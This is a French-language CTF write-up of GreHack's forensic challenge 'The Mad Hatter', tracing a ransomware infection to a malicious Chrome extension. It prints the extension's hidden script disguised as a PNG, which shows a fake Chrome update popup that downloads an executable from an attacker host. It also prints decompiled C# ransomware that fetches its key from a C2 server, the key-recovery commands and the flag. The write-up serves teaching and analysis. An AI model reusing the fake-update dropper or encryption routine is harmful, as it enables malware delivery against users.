Introduction
Cette année, j’ai été heureux de faire partie du comité d’organisation de la conférence GreHack et j’ai pu créér quelques challenges pour le CTF. Merci à tous les participants et organisateurs, l’événement était une fois de plus génial 🔥 💚
Challenge
- Nom :
The Mad Hatter
- Catégorie :
Forensic
- Résolutions :
5
- Points :
400
- Auteur :
Nishacid
The Mad Hatter, as his name suggests, is a bit of a deranged character. He’s always going on about how he doesn’t need virus protection, because he knows what he’s doing on his computer. But recently, he found a strange note on his desktop, and one of his favorite files was rendered totally unreadable… Since then, he has quickly reinstalled the antivirus. Find out more about the contents of this famous file.
Recon
Il semblerait, d’après la description, que le Chapelier Fou ait eu un fichier chiffré et une note laissée sur son bureau, ce qui peut suggérer le comportement d’un ransomware.
En effet, après avoir importé la machine virtuelle et s’être connecté à la session, nous pouvons trouver une note sur son bureau sous le nom ransom_note.txt
:
Your file has been encrypted. Pay 1337 beers to the GreHack staff to decrypt it !
Il n’y a pas beaucoup de programmes installés sur la session, mais nous remarquons rapidement le navigateur Chrome, et en fouillant dans son historique, nous pouvons comprendre qu’il a essayé d’installer une extension Chrome et qu’il a ensuite fait des recherches à propos de ransomware.
Grâce à ses recherches, on s’aperçoit alors qu’une extension a été installée sur le navigateur, dont le but est de transformer une page HTML en PDF.
Pour en savoir plus sur cette extension, on peut aller sur chrome://extensions/
pour voir les extensions chargées et leur origine. Il est alors également possible de trouver le chemin source de l’extension, qui était jusqu’ici caché.
Code Analysis
Après analyse du code, le code JavaScript semble tout à fait légitime, mais un petit détail dans le fichier manifest.json
attire notre attention :
L’extension semble charger deux fichiers JavaScript, content.png
et pdf.js
. Regardons de plus près content.png
, qui jusqu’à présent semble n’être qu’une image.
function UpdatePopup() {
const popupWrapper = document.createElement('div');
popupWrapper.id = 'ChromeUpdateWrapper';
popupWrapper.style.position = 'fixed';
popupWrapper.style.top = '10px';
popupWrapper.style.right = '10px';
popupWrapper.style.width = '20%';
popupWrapper.style.height = 'auto';
popupWrapper.style.zIndex = 99999;
popupWrapper.style.boxShadow = '0px 0px 10px rgba(0,0,0,0.5)';
popupWrapper.style.borderRadius = '8px';
popupWrapper.style.backgroundColor = '#ffffff';
popupWrapper.style.padding = '20px';
popupWrapper.style.textAlign = 'center';
popupWrapper.innerHTML = `
<img src="${chrome.runtime.getURL('chrome.png')}" width="30" style="display: block; margin: 0 auto;">
<h3 style="color: red;">Chrome Update</h3>
<p style="font-size: 12px; color: #666;">Critical update available.</p>
<a target="_blank" href="https://i-will-pwn-your.host/static/chrome-update.exe" download class="updateButton">Update Now</a>
`;
const updateBtn = popupWrapper.querySelector('.updateButton');
updateBtn.style.display = 'inline-block';
updateBtn.style.padding = '8px 15px';
updateBtn.style.marginTop = '10px';
updateBtn.style.backgroundColor = '#4285F4';
updateBtn.style.color = '#ffffff';
updateBtn.style.textDecoration = 'none';
updateBtn.style.borderRadius = '5px';
updateBtn.style.cursor = 'pointer';
updateBtn.addEventListener('click', function() {
window.location.href = "https://i-will-pwn-your.host/static/chrome-update.exe";
});
document.body.appendChild(popupWrapper);
}
if (Math.random() <= 0.05) {
UpdatePopup();
}
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
if (message.action === 'getHTML') {
sendResponse(document.documentElement.outerHTML);
}
});
Nous comprenons que le code va, 1 fois sur 20 (si (Math.random() <= 0.05)
), afficher une popup sur la page web visitée par la victime, faisant apparaître une popup de mise à jour Chrome, qui téléchargera un binaire à partir de https://i-will-pwn-your.host/static/chrome-update.exe.
Malware Reverse-Engineering
Après l’avoir téléchargé dans un environnement sécurisé, nous pouvons l’analyser dans Virustotal et constater qu’il s’agit d’un exécutable .NET.
Une fois que nous connaissons le type d’exécutable, nous pouvons choisir le bon outil comme dnSpy ou ILSpy pour le décompiler.
Une fois décompilé, nous observons un certain nombre de fonctions qui pourraient nous faire penser à un programme malveillant, comme Encrypt
, GetKIV
, Extract
. Le programme semble un peu obfusqué, mais ce n’est que du base64.
Après un rapide décodage et nettoyage du code, nous pouvons maintenant récupérer les valeurs des variables :
public static void Main(string[] args)
{
try
{
Program.GetKIV();
string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Program.De("\secret_video.mp4");
string path2 = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + Program.De("\ransom_note.txt");
if (File.Exists(path))
{
byte[] bytes = Program.Encrypt(File.ReadAllBytes(path), Program.k, Program.iv);
File.WriteAllBytes(path, bytes);
File.WriteAllText(path2, Program.De("Your file has been encrypted. Pay 1337 beers to the GreHack staff to decrypt it !"));
}
}
catch (Exception ex)
{
Console.WriteLine("An error occurred: " + ex.Message);
}
}
Dans la fonction Main
, on retrouve ce fameux fichier ransom_note.txt
, mais aussi le fichier qui a été chiffré, secret_video.mp4
dans Documents
.
public static void GetKIV()
{
string address = Program.De("https://i-will-pwn-your.host/4af5da2e9ef5efd3520c9a9f463dbdee");
string str = Program.De("c2_m4st3r");
string str2 = Program.De("29a3675bc87ad32852f7935741f8e98cee547c65");
string str3 = Convert.ToBase64String(Encoding.ASCII.GetBytes(str + ":" + str2));
using (WebClient webClient = new WebClient())
{
webClient.Headers[HttpRequestHeader.Authorization] = "Basic " + str3;
string json = webClient.DownloadString(address);
Program.ks = Program.Extract(json, "key");
Program.ivs = Program.Extract(json, "iv");
}
Program.k = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(Program.ks));
Program.iv = MD5.Create().ComputeHash(Encoding.UTF8.GetBytes(Program.ivs));
}
File Recovery
Dans la fonction GetKIV
, nous comprenons qu’elle récupère la clé et l’IV via une requête HTTP authentifiée.
» curl -sk 'https://i-will-pwn-your.host/4af5da2e9ef5efd3520c9a9f463dbdee' -u 'c2_m4st3r:29a3675bc87ad32852f7935741f8e98cee547c65' | jq
{
"iv": "1337733113377331",
"key": "4a448c0831b578470664af35a7067315"
}
Nous pouvons récupérer la vidéo chiffrée avec la clé et l’IV, et déchiffrer le fichier pour obtenir le flag.
» key=$(echo -n "4a448c0831b578470664af35a7067315" | sha256sum | awk '{print $1}')
» iv=$(echo -n "1337733113377331" | md5sum | awk '{print $1}')
» openssl enc -d -aes-256-cbc -in secret_video.mp4 -out secret_video_decrypt.mp4 -K $key -iv $iv
- Flag :
GH{fr0m_Add0n_t0_r4ns0m_!!}